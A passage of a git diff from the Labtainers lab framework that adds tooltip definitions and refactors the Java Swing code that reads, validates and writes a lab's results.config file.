Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.resultsui; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; + +/** + * + * @author Daniel Liao + */ +public class ParamReferenceStorage { + public static ToolTipWrapper getWrapper(ToolTipWrapper[] tipList, String item){ + ToolTipWrapper retval = null; + + for(ToolTipWrapper tool_tip : tipList){ + if(tool_tip.getItem().equals(item)){ + retval = tool_tip; + break; + } + } + return retval; + } + public static final ToolTipWrapper[] FieldType_ITEMS = new ToolTipWrapper[] { + //0 + new ToolTipWrapper("TOKEN", "Treat the line as space-delimited tokens."), + // 1 + new ToolTipWrapper("PARENS", "The desired value is contained in parenthesis."), + // 2 + new ToolTipWrapper("QUOTES", "The desired value is contained in quotes."), + // 3 + new ToolTipWrapper("SLASH", "The desired value is contained within slashes
" + + "e.g., /foo/"), + // 4 + new ToolTipWrapper("LINE_COUNT", "The quantity of lines in the file. Remaining fields
" + + "are ignored."), + // 5 + new ToolTipWrapper("CHECKSUM", "The result value is set to the md5 checksum
" + + "of the file."), + // 6 + new ToolTipWrapper("CONTAINS", "The result value is set to TRUE if the file
" + + "contains the string represented in field_id."), + // 7 + new ToolTipWrapper("FILE_REGEX", "The result value is set to TRUE if the file
" + + "contains the regular expression represented in field_id.
" + + "The python findall function is used on the entire file.
" + + "See the acl lab for an example of multi-line expressions."), + // 8 + new ToolTipWrapper("STRING_COUNT", "The result value is set to the quantity of
" + + "occurances of the string represented in field_id."), + // 9 + new ToolTipWrapper("COMMAND_COUNT", "Intended for use with bash_history files, counts
" + + "the occurances of the command given in the field_id.
"), + // 10 + new ToolTipWrapper("PARAM", "The result value is set to nth parameter
" + + "(0 is the program name), provided in the
" + + "program invocation."), + // 11 + new ToolTipWrapper("SEARCH", "The result is assigned the value of the search
" + + "defined by the given field_id, which is treated as an
" + + "expression having the syntax of pythons parse.search
" + + "function. E.g., \"frame.number=={:d}\" would
" + + "yield the frame number."), + // 12 + new ToolTipWrapper("GROUP", "Intended for use with \"REGEX\" line types, the
" + + "result is set to the value of the regex group
" + + "number named by the field_id. Regular expressions
" + + "and their groups are processed using the python
" + + "re.search semantics." ), + // 13 + new ToolTipWrapper("SIZE", "The result value is set to the size of the file."), + // 14 + new ToolTipWrapper("TIME_DELIM", "" )}; + + + public static final ToolTipWrapper[] LineType_ITEMS = new ToolTipWrapper[] { + // 0 + new ToolTipWrapper("NONE", ""), + // 1 + new ToolTipWrapper("LINE", "The line_id is an integer line number
" + + "(starting at one). Use of this to identify
" + + "lines is discouraged since minor lab changes
" + + "might alter the count."), + // 2 + new ToolTipWrapper("STARTSWITH", "the line_id is a string. This names the
" + + "first occurrence of a line that starts with
" + + "this string." ), + // 3 + new ToolTipWrapper("HAVESTRING", "The line_id is a string. This names the
" + + "first occurrence of a line that contains the
" + + "string." ), + // 4 + new ToolTipWrapper("REGEX", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." ), + // 5 + new ToolTipWrapper("NEXT_STARTSWITH", "the line_id is a string. This names the
" + + "line preceeding the first occurrence of a line
" + + "that starts with this string.")}; + + + public static final ToolTipWrapper[] TimestampType_ITEMS = new ToolTipWrapper[] { + // 0 + new ToolTipWrapper("File", "Result time stamps are derived
"+"from the file time stamp."),} ; + + + //****These items may need to be stored differently for better organization) + public static final ToolTipWrapper[] SpecialTimeStampType = new ToolTipWrapper[] { + //FIELDTYPES + // 0 + new ToolTipWrapper("LOG_TS", "Used with timestamped log files, this results in a
" + + "timestamped set of boolean results with a value
" + + "of TRUE for each log line that contains the string
" + + "represented in the field_id."), + // 1 + new ToolTipWrapper("LOG_RANGE", "Similar to LOG_TS, except the timestamped entries
" + + "are ranges delimited by the matching log entries."), + new ToolTipWrapper("RANGE_REGEX", "Similar to LOG_RANGE, except the matching string
"+ + "is a regular expression."), + // 2 ***These items below do not appear in the comboboxes, they're here merely for reference + new ToolTipWrapper("FILE_REGEX_TS", ""), + //LINETYPES + new ToolTipWrapper("HAVESTRING_TS", ""), + + new ToolTipWrapper("REGEX_TS", "")}; + + public static final ToolTipWrapper[] Operator_ITEMS = new ToolTipWrapper[] { + //0 + new ToolTipWrapper("RAND_REPLACE", "Replace a symbol with a random integer within a range."), + // 1 + new ToolTipWrapper("RAND_REPLACE_UNIQUE", "Like RAND_REPLACE, but does not reuse value.
Intended for IP addressees."), + // 2 + new ToolTipWrapper("HASH_CREATE", "Hash a string and write it to a named file."), + // 3 + new ToolTipWrapper("HASH_REPLACE", "Replace a symbol with the hash of a string"), + new ToolTipWrapper("CLONE_REPLACE", "Replace a symbol with a Clone Instance number.
Intended for use with cloned workstations") + }; + + public static final Set LOG_ACCESIBLE_FieldType = new HashSet(Arrays.asList( + new String[] {"CONTAINS", "FILE_REGEX", "SEARCH"} + )); + + public static final Set LOG_TS_ACCESSIBLE_LineType = new HashSet(Arrays.asList( + new String[] {"HAVESTRING", "REGEX"} + )); + + public static final Set lineParamAccessible = new HashSet(Arrays.asList( + new String[] {"TOKEN", "PARENS", "QUOTES", "SLASH", "GROUP", "SEARCH"} + )); + + + public static final Set justFieldType = new HashSet(Arrays.asList( + new String[] {"LINE_COUNT", "CHECKSUM", "TIME_DELIM", "SIZE"} + )); + + + public static final Set timeStampDelimiterAccessible = new HashSet(Arrays.asList( + new String[] {"Service", "Program"} + )); + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsData.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ResultsData.java similarity index 72% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsData.java rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ResultsData.java index 5e0a325a2..a5e759b3c 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ResultsData.java +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ResultsData.java @@ -1,745 +1,834 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package ResultsUI; - -import static ResultsUI.ParamReferenceStorage.justFieldType; -import static ResultsUI.ParamReferenceStorage.lineParamAccessible; -import static ResultsUI.ParamReferenceStorage.timeStampDelimiterAccessible; -import ResultsUI.ToolTipHandlers.ToolTipWrapper; -import java.awt.Component; -import java.io.BufferedReader; -import java.io.BufferedWriter; -import java.io.File; -import java.io.FileNotFoundException; -import java.io.FileReader; -import java.io.FileWriter; -import java.io.IOException; -import java.util.ArrayList; -import java.util.Collections; -import java.util.List; -import java.util.logging.Level; -import java.util.logging.Logger; -import javax.swing.JOptionPane; -import javax.swing.JPanel; - -/** - * - * @author Dan - */ -public class ResultsData { - List listofArtifacts; - ArrayList containerList; - boolean labloaded; - String labname; - int rowCount; - - ResultsData(){ - listofArtifacts = new ArrayList<>(); - containerList = new ArrayList<>(); - labloaded = false; - labname = ""; - rowCount = 0; - } - - ResultsData(String labname){ - listofArtifacts = new ArrayList<>(); - containerList = new ArrayList<>(); - labloaded = false; - this.labname = labname; - rowCount = 0; - - getData(); - } - -//LOADING~~~~~~~~~~~~~~~~~~~~~~~~~ - - //Checks if the lab exists and will get lab's result config data if it does - private void getData(){ - //Check if the Folder exists - String userHomeFolder = System.getProperty("user.home"); - File lab = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator+ labname); - - if(lab.isDirectory()){ - if(getContainers(lab) && getArtifacts()) - labloaded = true; - } - else - System.out.println("Lab does not exist!"); - } - - //Updates the containerlist (all artifct panels refer to this list to fill in the container combobox) - private boolean getContainers(File lab){ - File startConfig = new File(lab+"/config/start.config"); - - try { - if(startConfig.exists()){ - try (FileReader fileReader = new FileReader(startConfig)) { - BufferedReader bufferedReader = new BufferedReader(fileReader); - - String line = bufferedReader.readLine(); - while (line != null) { - if(line.startsWith("CONTAINER")){ - containerList.add(line.split("\\s+")[1]); - } - line = bufferedReader.readLine(); - } - } - - //Every list of containers should include "ALL" to signify when the container_name is not specified in the file ID - if(containerList.size() > 1) - containerList.add("ALL"); - - return true; - } - else{ - System.out.println("start.config is missing"); - return false; - } - } - catch (FileNotFoundException ex) { - Logger.getLogger(ResultsUI.class.getName()).log(Level.SEVERE, null, ex); - System.out.println("Issue with getting containers"); - return false; - } catch (IOException ex) { - Logger.getLogger(ResultsUI.class.getName()).log(Level.SEVERE, null, ex); - System.out.println("Issue with getting containers"); - return false; - } - - } - - //Parses the results.config to obtain all the relevant artifact lines, - //extracts the values of each artifact line - //and then loads each artifact line's value into the list of Artifacts - private boolean getArtifacts(){ - ArrayList artifacts = getArtifactLines(); - - if(artifacts != null){ - //Fill the list of artifacts - for(String artifactLine : artifacts){ - ArtifactValues values = new ArtifactValues(artifactLine); - listofArtifacts.add(values); - rowCount++; - } - return true; - } - else - return false; - - } - - -//WRITING~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - - //Update the results.config file with the user's input - protected void writeResultsConfig(JPanel PanelofArtifacts){ - try { - updateListofArtifacts(PanelofArtifacts); - String resultTag, - container, - file, - fieldType, - fieldID, - lineType, - lineID, - timeStampType, - timeStampDelimiter; - String resultsConfigText = ""; - - ErrorHandler error = new ErrorHandler(); - ArrayList resultTagList = new ArrayList<>(); //Used for duplication checking - - - //Iterate through each artifact - for(int i=0;i < listofArtifacts.size();i++){ - error.checkReset(); //Reset the error statuses for a new artifact line - - String artifactConfigLine = ""; - - //RESULTS TAG - resultTag = listofArtifacts.get(i).resultTag; - resultTagList.add(resultTag); - - //Checks if resultTag is valid or inputted - if(resultTag.matches("^[a-zA-Z0-9_]+$")) - artifactConfigLine += (resultTag + " = "); //add to artifact Config line - else if(resultTag.isEmpty() || resultTag.equals("")) - error.resultTagMissing = true; - else - error.resultError = true; - - //FILEID CONFIG - file = listofArtifacts.get(i).fileID; - container = listofArtifacts.get(i).container; - ToolTipWrapper timeStampTypeTTW = listofArtifacts.get(i).timeStampType; - timeStampType = timeStampTypeTTW.getItem(); - timeStampDelimiter = listofArtifacts.get(i).timeStampDelimiter; - - if(file.isEmpty() || file.equals("")){ - error.fileIDMissing = true; - } - //Checks if non-file-path file input has .stdin | .stdout | .prgout dottag - //Note: most OS, but Windows use backslashes as a File seperator - else if(!file.contains("/")){ - if(!file.contains(".")) - error.fileError = true; - else{ - String dotTag = file.substring(file.indexOf("."),file.length()); - if(!(dotTag.equals(".stdin") || dotTag.equals(".stdout") || dotTag.equals(".prgout"))) - error.fileError = true; - } - } - - //CONTAINER (if a specific container is selected) - if(containerList.size() > 1 && !container.equals("ALL")){ - artifactConfigLine += (container); - artifactConfigLine += ":"; - } - - //TIMESTAMP DELIMITER (if Serivce or Program was selected in the Timestamp combobox) - if(timeStampDelimiterAccessible.contains(timeStampType)){ - //Checks if the file is a file path when a user inputs a time delimiter - if(file.contains("/") && !(timeStampDelimiter.isEmpty() || timeStampDelimiter.equals(""))){ - artifactConfigLine += (file+ ":" + timeStampDelimiter); - - if((timeStampType).equals("Service")) - artifactConfigLine += ".service"; - } - else{ - if(!file.contains("/")) - error.timeDelimiterError = true; - else - error.timeDelimiterMissing = true; - } - } - else - artifactConfigLine += file; //could be a .[stdin | stdout | prgout], file_path - - - //FIELD TYPE - /* - If the timeStampType is "LOG_TS" and the fieldType is "CONTAINS", then the fieldType will be "LOG_TS" - If the timeStampType is "LOG_TS" and the fieldType is "FILE_REGEX", then the fieldType will be "FILE_REGEX_TS" - If the timeStampType is "LOG_RANGE" and the fieldType is "CONTAINS", then the fieldType will be "LOG_RANGE" - */ - ToolTipWrapper fieldTypeTTW = listofArtifacts.get(i).fieldType; - fieldType = fieldTypeTTW.getItem(); - - if(timeStampType.equals("LOG_TS")){ - if(fieldType.equals("CONTAINS")) - fieldType = "LOG_TS"; - else if(fieldType.equals("FILE_REGEX")) - fieldType = "FILE_REGEX_TS"; - } - if(timeStampType.equals("LOG_RANGE")){ - if(fieldType.equals("CONTAINS")) - fieldType = "LOG_RANGE"; - } - artifactConfigLine += (" : " + fieldType); - - //FIELD ID - //if field type is "LINE_COUNT or CHECKSUM" then don't look into the Field TYPE and Line ID and Line Type - if(!justFieldType.contains(fieldType)){ - fieldID = listofArtifacts.get(i).fieldID; - - //If the field type is TOKEN, check if the field ID is a number 1-9 or ALL or LAST - if(fieldType.equals("TOKEN") && (fieldID.equals("0") || !(fieldID.matches("^[0-9]+$") || fieldID.equals("ALL") || fieldID.equals("LAST")))) - error.fieldTypeTokenError = true; - - //If the field type is PARAM, check if the value is a postive number or zero - else if(fieldType.equals("PARAM") && !(fieldID.matches("^[0-9]+$"))) - error.fieldTypeParamError = true; - - //Check if the user didn't inputted anthing in the Field ID - else if(fieldID.isEmpty() || fieldID.equals("")) - error.fieldIDMissing = true; - - //If all is good with the above checks, then concatenate the fieldID to the artifactLine - else - artifactConfigLine += (" : " + fieldID); - - //LINE_TYPE and LINE ID - //Is LineType and Line ID relevant based on field type? if so, then... - if(lineParamAccessible.contains(fieldType)){ - ToolTipWrapper lineTypeTTW = listofArtifacts.get(i).lineType; - lineType = lineTypeTTW.getItem(); - lineID = listofArtifacts.get(i).lineID; - - if(!lineType.equals("NONE")){ - //Check if there is a line ID input if the user has a line type - if(lineID.isEmpty() || lineID.equals("")) - error.lineIDMissing = true; - else if(lineType.equals("LINE") && (lineID.equals("0") || !(lineID.matches("^[0-9]+$")))){ - error.lineIDError = true; - } - else if(timeStampType.equals("LOG_TS") && lineType.equals("HAVESTRING")) - artifactConfigLine += (" : " + "HAVESTRING_TS" + " : " + lineID); - else if(timeStampType.equals("LOG_TS") && lineType.equals("REGEX")) - artifactConfigLine += (" : " + "REGEX_TS" + " : " + lineID); - else - artifactConfigLine += (" : " + lineType + " : " + lineID); - } - } - } - - //If there's no error, put the artifactConfigLine in the resultsConfigText string, - //Otherwise the overallPass of the user input is false - if(error.userInputCheck(i+1)){ - if(i < listofArtifacts.size()-1) - artifactConfigLine+= System.lineSeparator(); - //Add the artifact config line to the Results Config text - resultsConfigText += artifactConfigLine; - } - else - error.fail(); - } - - //Check for duplicate result tags - error.checkDuplicateResultTags(resultTagList); - /* - for(String rt : resultTagList) - System.out.println(rt); - */ - - if(error.passStatus()){ - //Resets the results.config file - File resultsConfigFile = initializeResultConfig(); - - try ( //Write the resultsConfigText to the results.config - BufferedWriter writer = new BufferedWriter(new FileWriter(resultsConfigFile, true))) { - writer.write(resultsConfigText); - } - } - else - JOptionPane.showMessageDialog(null, error.toString(), "INPUT ERROR", JOptionPane.ERROR_MESSAGE); - } - catch (IOException ex) { - Logger.getLogger(ResultsUI.class.getName()).log(Level.SEVERE, null, ex); - } - } - - //Checks if the results.config file exists and prepares the result.config file for the lab - private File initializeResultConfig() throws IOException{ - //Get the filepath for the lab's results.config - String userHomeFolder = System.getProperty("user.home"); - File resultsConfigFile = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator + labname + File.separator + "instr_config" + File.separator + "results.config"); - - //May not be necessary, subject to remove the base text, perhaps there is an option for the user to add their own comments - String baseText = - "# results.config" + System.lineSeparator() - + "#" + System.lineSeparator() - + "# Please see the Labtainer Lab Designer User Guide" + System.lineSeparator(); - - if(resultsConfigFile.exists()){ - //Overwrite results.config file if it already exists - try (BufferedWriter writer = new BufferedWriter(new FileWriter(resultsConfigFile, false))) { - writer.write(baseText); - } - return resultsConfigFile; - } - else if(resultsConfigFile.createNewFile()){ - //Create new results.config file otherwise(if it does not already exist) - try (BufferedWriter writer = new BufferedWriter(new FileWriter(resultsConfigFile))) { - writer.write(baseText); - } - return resultsConfigFile; - } - else{ //File could not be created so return error message - System.out.println("Results Config File couldn't be initialzed."); - return null; - } - } - - //Handles all the error data and error checking before writing the results.config - private class ErrorHandler{ - private boolean overallPass; - private String errorMsg; - private boolean - resultError, - fileError, - timeDelimiterError, - fieldTypeTokenError, - fieldTypeParamError, - lineIDError, - - resultTagMissing, - fileIDMissing, - timeDelimiterMissing, - fieldIDMissing, - lineIDMissing; - - - ErrorHandler(){ - overallPass = true; - errorMsg = ""; - checkReset(); - } - - void fail(){ - overallPass = false; - } - - //Resets the error status(used right before looking at new artifact line) - private void checkReset(){ - resultError = false; - fileError = false; - timeDelimiterError = false; - fieldTypeTokenError = false; - fieldTypeParamError = false; - lineIDError = false; - - resultTagMissing = false; - fileIDMissing = false; - timeDelimiterMissing = false; - fieldIDMissing = false; - lineIDMissing = false; - - } - - //Builds error message detailing the errors that appear in the user input - boolean userInputCheck(int artifactIndex){ - boolean rowPassed = true; - String infoMsg = "Artifact Line: " + artifactIndex + System.lineSeparator(); - - if(resultTagMissing){ - rowPassed = false; - infoMsg+= "-Result Tag input is missing." + System.lineSeparator(); - } - if(fileIDMissing){ - rowPassed = false; - infoMsg+= "-File ID input is missing." + System.lineSeparator(); - } - if(timeDelimiterMissing){ - rowPassed = false; - infoMsg+= "-Time Delimiter input is missing." + System.lineSeparator(); - } - if(fieldIDMissing){ - rowPassed = false; - infoMsg+= "-Field ID input is missing." + System.lineSeparator(); - } - if(lineIDMissing){ - rowPassed = false; - infoMsg+= "-Line ID input is missing)." + System.lineSeparator(); - } - if(resultError){ - rowPassed = false; - infoMsg+= "-Make sure your Results Tag has only alphanumeric characters or underscores." + System.lineSeparator(); - } - if(fileError){ - rowPassed = false; - infoMsg+= "-Make sure your File ID file's extentsion ends in \".stdin\", \".stdout\", or \".prgout\"." + System.lineSeparator() + " Or is a file path." + System.lineSeparator(); - } - if(timeDelimiterError){ - rowPassed = false; - infoMsg+= "-Timestamp Delimiter Option is only available if your File ID is a file path." + System.lineSeparator(); - } - if(fieldTypeTokenError){ - rowPassed = false; - infoMsg+= "-If your Field Type is TOKEN then make sure your Field ID is a positve number(zero exclusive), \"ALL\", or \"LAST\"." + System.lineSeparator(); - } - if(fieldTypeParamError){ - rowPassed = false; - infoMsg+= "-If your Field Type is PARAM then make sure your Field ID is a positve number(zero inclusive)." + System.lineSeparator(); - } - if(lineIDError){ - rowPassed = false; - infoMsg+= "-If your Line Type is LINE then make sure your Line ID is a positve number(zero exclusive)." + System.lineSeparator(); - } - - - if(!rowPassed) - errorMsg += (infoMsg + System.lineSeparator()); - - return rowPassed; - } - - //Check for duplicate results Taga - void checkDuplicateResultTags(ArrayList resultTags){ - ArrayList markedResultTags = new ArrayList<>(); - - //Store all the indices for each unique result tag - for(int i=0;i 1){ - duplicateErrorMsg+= "Duplicate Result Tag: \"" + rt.resultTag + "\" on rows "; - - for(int i=0;i indices; - - ResultTagIndices(String resultTag, int index){ - this.resultTag = resultTag; - indices = new ArrayList<>(); - indices.add(index); - } - - void addIndex(int index){ - indices.add(index); - } - } - - //Is the result tag already in the duplicate list? - boolean isDuplicate(ArrayList markedResultTags, String resultTag){ - for(ResultTagIndices rtIndices : markedResultTags){ - if(rtIndices.resultTag.equals(resultTag)) - return true; - } - return false; - } - - //Get the duplicate object based on the duplicate string - ResultTagIndices getDuplicate(ArrayList markedResultTags, String resultTag){ - for(ResultTagIndices rtIndices : markedResultTags){ - if(rtIndices.resultTag.equals(resultTag)) - return rtIndices; - } - return null; - } - - - @Override - public String toString(){ - return errorMsg; - } - - boolean passStatus(){ - return overallPass; - } - } - - -//GENERAL~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - //Gets the artifact lines in the goals.config - protected ArrayList getArtifactLines(){ - ArrayList artifacts = new ArrayList<>(); - - try { - String userHomeFolder = System.getProperty("user.home"); - File lab = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator+ labname); - File resultsConfig = new File(lab+"/instr_config/results.config"); - - //Get the artifact lines - if(resultsConfig.exists()){ - try (FileReader fileReader = new FileReader(resultsConfig)) { - BufferedReader bufferedReader = new BufferedReader(fileReader); - String line = bufferedReader.readLine(); - - while (line != null) { - //just checks if the first character is: not empty, not a hash, and not whitspace) - if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) - artifacts.add(line); - - line = bufferedReader.readLine(); - } - } - return artifacts; - } - else{ - System.out.println("No results.config file in the loaded lab!"); - return null; - } - } - catch (IOException e) { - System.out.println("Issue with getting result.config artifacts"); - return null; - } - } - - //Updates the list of artifacts - protected void updateListofArtifacts(JPanel PanelofArtifacts){ - Component[] artifacts = PanelofArtifacts.getComponents(); //Access the list of artifacts - - List listofArtifactsTMP = new ArrayList<>(); - - //Iterate through each artifact and add it to the temp list of artifact values - for (Component artifact : artifacts) { - //RESULTS TAG - String resultTag = ((ArtifactPanels) artifact).getTagTextField().getText(); - //FILEID CONFIG - String file = ((ArtifactPanels) artifact).getFileTextField().getText(); - String container = (String) (((ArtifactPanels) artifact).getContainerComboBox().getSelectedItem()); - ToolTipHandlers.ToolTipWrapper timeStampType = (ToolTipHandlers.ToolTipWrapper) (((ArtifactPanels) artifact).getTimeStampComboBox().getSelectedItem()); - String timeStampDelimiter = ((ArtifactPanels) artifact).getTimeStampTextField().getText(); - //FieldType - ToolTipHandlers.ToolTipWrapper fieldType = (ToolTipHandlers.ToolTipWrapper) (((ArtifactPanels) artifact).getFieldTypeComboBox().getSelectedItem()); - String fieldID = ((ArtifactPanels) artifact).getFieldIDTextField().getText(); - //LINE_TYPE and LINE ID - ToolTipHandlers.ToolTipWrapper lineType = (ToolTipHandlers.ToolTipWrapper) (((ArtifactPanels) artifact).getLineTypeComboBox().getSelectedItem()); - String lineID = ((ArtifactPanels) artifact).getLineIDTextField().getText(); - - listofArtifactsTMP.add(new ArtifactValues(resultTag, container, file, fieldType, fieldID, lineType, lineID, timeStampType, timeStampDelimiter)); - } - - listofArtifacts = listofArtifactsTMP; //overwrite the old listofArtifacts with the temp listofArtifacts - } - - //Swaps the position of artifacts in a list - protected void swapArtifacts(String type, int rowIndex){ - - switch(type){ - case "UP": - if(rowIndex > 0){ - //System.out.println("UP: "+listofArtifacts.get(rowIndex).resultTag+" Index: "+rowIndex); - Collections.swap(listofArtifacts, rowIndex, rowIndex-1); - } - break; - case "DOWN": - //System.out.println(rowCount); - //System.out.println("RowINdex: " + rowIndex + " RowCount-1: "+ (rowCount-1)); - if(rowIndex < rowCount-1){ - //System.out.println("DOWN: "+listofArtifacts.get(rowIndex).resultTag); - Collections.swap(listofArtifacts, rowIndex, rowIndex+1); - } - break; - default: - System.out.println("swap case no register"); - } - } - - //Gets a list of ArtifactValues from the the current state of the results.config file - protected List getArtifactValuesOfConfigFile(){ - List officialListofArtifacts = new ArrayList<>(); - - ArrayList artifactLines = getArtifactLines(); - - if(artifactLines != null){ - - for(String artifactLine : artifactLines){ - ArtifactValues values = new ArtifactValues(artifactLine); - officialListofArtifacts.add(values); - } - return officialListofArtifacts; - } - else - return null; - } - - //Compares the data of two lists of ArtifactValues. If there is a difference then return 'true', 'false' otherwise - static boolean artifactValuesDiffer(List list1, List list2){ - if(list1.size() != list2.size()){ - return true; - } - else{ - //This is a gross implemenation of comparing each individual value between two sets of Artifact Values (Maybe conisder implementing the ArtifactValues Class as a comparable) - for(int i=0;i list1, List list2) method - static private void printlistValues(List list1, List list2, int i){ - System.out.println("Result Tag: "); - System.out.println("UI: "+list1.get(i).resultTag); - System.out.println("Config: "+list2.get(i).resultTag); - System.out.println(); - - System.out.println("File ID: "); - System.out.println("UI: "+list1.get(i).fileID); - System.out.println("Config: "+list2.get(i).fileID); - System.out.println(); - - System.out.println("Field Type: "); - System.out.println("UI: "+list1.get(i).fieldType); - System.out.println("Config: "+list2.get(i).fieldType); - System.out.println(); - - System.out.println("Field ID: "); - System.out.println("UI: "+list1.get(i).fieldID); - System.out.println("Config: "+list2.get(i).fieldID); - System.out.println(); - - System.out.println("Line Type: "); - System.out.println("UI: "+list1.get(i).lineType); - System.out.println("Config: "+list2.get(i).lineType); - System.out.println(); - - System.out.println("Line ID: "); - System.out.println("UI: "+list1.get(i).lineID); - System.out.println("Config: "+list2.get(i).lineID); - System.out.println(); - - System.out.println("TimeStamp Type: "); - System.out.println("UI: "+list1.get(i).timeStampType); - System.out.println("Config: "+list2.get(i).timeStampType); - System.out.println(); - - System.out.println("TimeStamp Delim: "); - System.out.println("UI: "+list1.get(i).timeStampDelimiter); - System.out.println("Config: "+list2.get(i).timeStampDelimiter); - System.out.println(); - - System.out.println("CONTAINER: "); - System.out.println("UI: "+list1.get(i).container); - System.out.println("Config: "+list2.get(i).container); - System.out.println(); - - - - - - - } - -//GETTERS~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - protected List getListofArtifacts(){ - return listofArtifacts; - } -} +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.resultsui; + +import labtainers.mainui.ToolTipHandlers; +import labtainers.mainui.CompareTextFiles; +import java.awt.Component; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.logging.Level; +import java.util.logging.Logger; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import labtainers.mainui.MainWindow; +import static labtainers.resultsui.ParamReferenceStorage.justFieldType; +import static labtainers.resultsui.ParamReferenceStorage.lineParamAccessible; +import static labtainers.resultsui.ParamReferenceStorage.timeStampDelimiterAccessible; +import static labtainers.goalsui.ParamReferenceStorage.booleanResultTypes; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; + +/** + * + * @author Daniel Liao + */ +public class ResultsData { + protected List listofArtifacts; + static public ArrayList containerList = new ArrayList(); + protected int rowCount; + MainWindow mainUI; + public int test = 0; + + public ResultsData(MainWindow main, File labPath){ + listofArtifacts = new ArrayList(); + rowCount = 0; + + this.mainUI = main; + } + + // Creates a deep copy of the original (shallow with containerList and mainUI) + public ResultsData(ResultsData original){ + listofArtifacts = new ArrayList(); + //Deep copy the list of artifacts + for(ArtifactValues artifact : original.listofArtifacts) + listofArtifacts.add(new ArtifactValues(artifact)); + + this.rowCount = original.getRowCount(); + + this.mainUI = original.getMainWindow(); + } +//Retrieving and Setting Data~~~~~~~~~~~~~~~~~~~~~~~~~ + + //Parses the results.config to obtain all the relevant artifact lines, + //extracts the values of each artifact line + //and then loads each artifact line's value into the list of Artifacts + public void retrieveData(){ + ArrayList artifacts = getArtifactLines(); + + if(artifacts != null){ + //Fill the list of artifacts + for(String artifactLine : artifacts){ + listofArtifacts.add(new ArtifactValues(artifactLine)); + rowCount++; + } + } + } + + //Updates the containerlist (all artifct panels refer to this list to fill in the container combobox) + static public void setContainerList(ArrayList newContainerList){ + containerList = newContainerList; + } + + 